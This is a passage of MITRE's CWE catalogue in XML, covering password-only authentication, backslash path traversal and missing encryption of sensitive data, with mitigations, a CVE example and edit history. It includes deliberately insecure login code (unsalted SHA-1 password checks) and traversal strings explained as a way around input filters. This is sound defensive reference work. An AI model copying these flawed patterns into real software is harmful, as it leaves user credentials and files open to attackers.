			      </Content_History>
		    </Weakness>
                    <Weakness ID="309" Name="Use of Password System for Primary Authentication" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The use of password systems as the primary means of
					authentication may be subject to several flaws or shortcomings, each reducing
					the effectiveness of the mechanism.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>654</Relationship_Target_ID>
					          <!--Reliance on a Single Factor in a Security Decision-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>308</Relationship_Target_ID>
					          <!--Use of Single-factor Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Password systems are the simplest and most ubiquitous authentication
						mechanisms. However, they are subject to such well known attacks,and such
						frequent compromise that their use in the most simple implementation is not
						practical.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>A password authentication mechanism error will almost always result in
							attackers being authorized as valid users.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>In order to protect password systems from compromise, the following
							should be noted:</Text>
						            <Block Block_Nature="List">
							              <Text>Passwords should be stored safely to prevent insider attack and to
								ensure that -- if a system is compromised -- the passwords are not
								retrievable. Due to password reuse, this information may be useful
								in the compromise of other systems these users work with. In order
								to protect these passwords, they should be stored encrypted, in a
								non-reversible state, such that the original text password cannot be
								extracted from the stored value.</Text>
							              <Text>Password aging should be strictly enforced to ensure that
								passwords do not remain unchanged for long periods of time. The
								longer a password remains in use, the higher the probability that it
								has been compromised. For this reason, passwords should require
								refreshing periodically, and users should be informed of the risk of
								passwords which remain in use for too long.</Text>
							              <Text>Password strength should be enforced intelligently. Rather than
								restrict passwords to specific content, or specific length, users
								should be encouraged to use upper and lower case letters, numbers,
								and symbols in their passwords. The system should also ensure that
								no passwords are derived from dictionary words.</Text>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a zero-knowledge password protocol, such as SRP.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that passwords are stored safely and are not reversible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Implement password aging functionality that requires passwords be
							changed after a certain point.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a mechanism for determining the strength of a password and notify
							the user of weak password use.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Inform the user of why password protections are in place, how they
							work to protect data integrity, and why it is important to heed their
							warnings.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-101">
					          <Intro_Text>In both of these examples, a user is logged in if their given
						password matches a stored password:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>unsigned char *check_passwd(char *plaintext) {</Code>
							              <Block>
								                <Code>ctext = simple_digest("sha1",plaintext,strlen(plaintext), ...
									);</Code>
								                <Comment>//Login if hash matches stored hash</Comment>
								                <Code>if (equal(ctext, secret_password())) {</Code>
								                <Block>
									                  <Code>login_user();</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String plainText = new String(plainTextIn);</Code>
							              <Code> MessageDigest encer = MessageDigest.getInstance("SHA");</Code>
							              <Code> encer.update(plainTextIn);</Code>
							              <Code>byte[] digest = password.digest();</Code>
							              <Comment>//Login if hash matches stored hash</Comment>
							              <Code>if (equal(digest,secret_password())) {</Code>
							              <Block>
								                <Code>login_user();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This code fails to incorporate more than one method of authentication.
							If an attacker can steal or guess a user's password, they are given full
							access to their account. Note this code also exhibits CWE-328
							(Reversible One-Way Hash) and CWE-759 (Use of a One-Way Hash without a
							Salt).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Using password systems</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Authentication and Session
						Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A3</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Background_Details, Common_Consequences,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Using Password
						Systems</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="31" Name="Path Traversal: 'dir\..\..\filename'" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses external input to construct a pathname that
					should be within a restricted directory, but it does not properly neutralize
					'dir\..\..\filename' (multiple internal backslash dot dot) sequences that can
					resolve to a location that is outside of that directory.</Description_Summary>
				        <Extended_Description>
					          <Text>This allows attackers to traverse the file system to access files or
						directories that are outside of the restricted directory.</Text>
					          <Text>The 'dir\..\..\filename' manipulation is useful for bypassing some path
						traversal protection schemes. Sometimes a program only removes one "..\"
						sequence, so multiple "..\" can bypass that check. Alternately, this
						manipulation could be used to bypass a check for "..\" at the beginning of
						the pathname, moving up more than one directory level.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>23</Relationship_Target_ID>
					          <!--Relative Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="Windows"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0160</Observed_Example_Reference>
					          <Observed_Example_Description> The administration function in Access Control
						Server allows remote attackers to read HTML, Java class, and image files
						outside the web root via a "..\.." sequence in the URL to port 2002.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 20: Weak Random Numbers." Page 299</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>8 - 'directory\..\..\filename</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-10</Modification_Date>
					          <Modification_Comment>fixed incorrect manipulation in name (desc was
						correct).</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Directory
						Doubled Dot Dot Backslash - 'directory\..\..\filename'</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-10-14">Path Traversal:
						'dir\..\filename'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="311" Name="Missing Encryption of Sensitive Data" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not encrypt sensitive or critical information
					before storage or transmission.</Description_Summary>
				        <Extended_Description>
					          <Text> The lack of proper data encryption passes up the guarantees of
						confidentiality, integrity, and accountability that properly implemented
						encryption conveys.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>866</Relationship_Target_ID>
					          <!--2011 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>803</Relationship_Target_ID>
					          <!--2010 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>310</Relationship_Target_ID>
					          <!--Cryptographic Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>719</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>720</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A9 - Insecure Communications-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>729</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A8 - Insecure Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>861</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>816</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>818</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High to Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the application does not use a secure channel, such as SSL, to
							exchange sensitive information, it is possible for an attacker with
							access to the network traffic to sniff packets from the connection and
							uncover the data. This attack is not technically difficult, but does
							require physical access to some portion of the network over which the
							sensitive data travels. This access is usually somewhere near where the
							user is connected to the network (such as a colleague on the company
							network) but can be anywhere along the path from the user to the end
							server.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Omitting the use of encryption in any program which transfers data
							over a network of any kind should be considered on par with delivering
							the data sent to each user on the local networks of both the sender and
							receiver. Worse, this omission allows for the injection of data into a
							stream of communication between two parties -- with no means for the
							victims to separate valid data from invalid. In this day of widespread
							network attacks and password collection sniffers, it is an unnecessary
							risk to omit encryption from the design of any system which might
							benefit from it.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>The characterizaton of sensitive data often requires domain-specific
							understanding, so manual methods are useful. However, manual efforts
							might not achieve desired code coverage within limited time constraints.
							Black box methods may produce artifacts (e.g. stored data or unencrypted
							network transfer) that require manual evaluation.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Automated Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated measurement of the entropy of an input/output source may
							indicate the use or lack of encryption, but human analysis is still
							required to distinguish intentionally-unencrypted data (e.g. metadata)
							from sensitive data. </Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Clearly specify which data or resources are valuable enough that they
							should be protected by encryption. Require that any transmission or
							storage of this data/resource should use well-vetted encryption
							algorithms.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Threat Modeling</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Using threat modeling or other techniques, assume that the data can be
							compromised through a separate vulnerability or weakness, and determine
							where encryption will be most effective. Ensure that data that should be
							private is not being inadvertently exposed using weaknesses such as
							insecure permissions (CWE-732). [R.311.1]</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that encryption is properly integrated into the system design,
							including but not necessarily limited to:</Text>
						            <Block Block_Nature="List">
							              <Text>Encryption that is needed to store or transmit private data of the
								users of the system </Text>
							              <Text>Encryption that is needed to protect the system itself from
								unauthorized disclosure or tampering </Text>
						            </Block>
						            <Text>Identify the separate needs and contexts for encryption:</Text>
						            <Block Block_Nature="List">
							              <Text>One-way (i.e., only the user or recipient needs to have the key).
								This can be achieved using public key cryptography, or other
								techniques in which the encrypting party (i.e., the software) does
								not need to have access to a private key.</Text>
							              <Text>Two-way (i.e., the encryption can be automatically performed on
								behalf of a user, but the key must be available so that the
								plaintext can be automatically recoverable by that user). This
								requires storage of the private key in a format that is recoverable
								only by the user (or perhaps by the operating system) in a way that
								cannot be recovered by others.</Text>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-24">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When there is a need to store or transmit sensitive data, use strong,
							up-to-date cryptographic algorithms to encrypt that data. Select a
							well-vetted algorithm that is currently considered to be strong by
							experts in the field, and use well-tested implementations. As with all
							cryptographic mechanisms, the source code should be available for
							analysis.</Text>
						            <Text>For example, US government systems require FIPS 140-2
							certification.</Text>
						            <Text>Do not develop custom or private cryptographic algorithms. They will
							likely be exposed to attacks that are well-understood by cryptographers.
							Reverse engineering techniques are mature. If the algorithm can be
							compromised if attackers find out how it works, then it is especially
							weak.</Text>
						            <Text>Periodically ensure that the cryptography has not become obsolete.
							Some older algorithms, once thought to require a billion years of
							computing time, can now be broken in days or hours. This includes MD4,
							MD5, SHA1, DES, and other algorithms that were once regarded as strong.
							[R.311.5]</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-25">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When using industry-approved techniques, use them correctly. Don't cut
							corners by skipping resource-intensive steps (CWE-325). These steps are
							often essential for preventing common attacks.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-33">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use naming conventions and strong types to make it easier to spot when
							sensitive data is being used. When creating structures, objects, or
							other complex entities, separate the sensitive and non-sensitive data as
							much as possible.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This makes it easier to spot places in the code where data is being
							used that is unencrypted.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-40">
					          <Intro_Text>This code writes a user's login information to a cookie so the user
						does not have to login again later. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>function persistLogin($username, $password){</Code>
							              <Block>
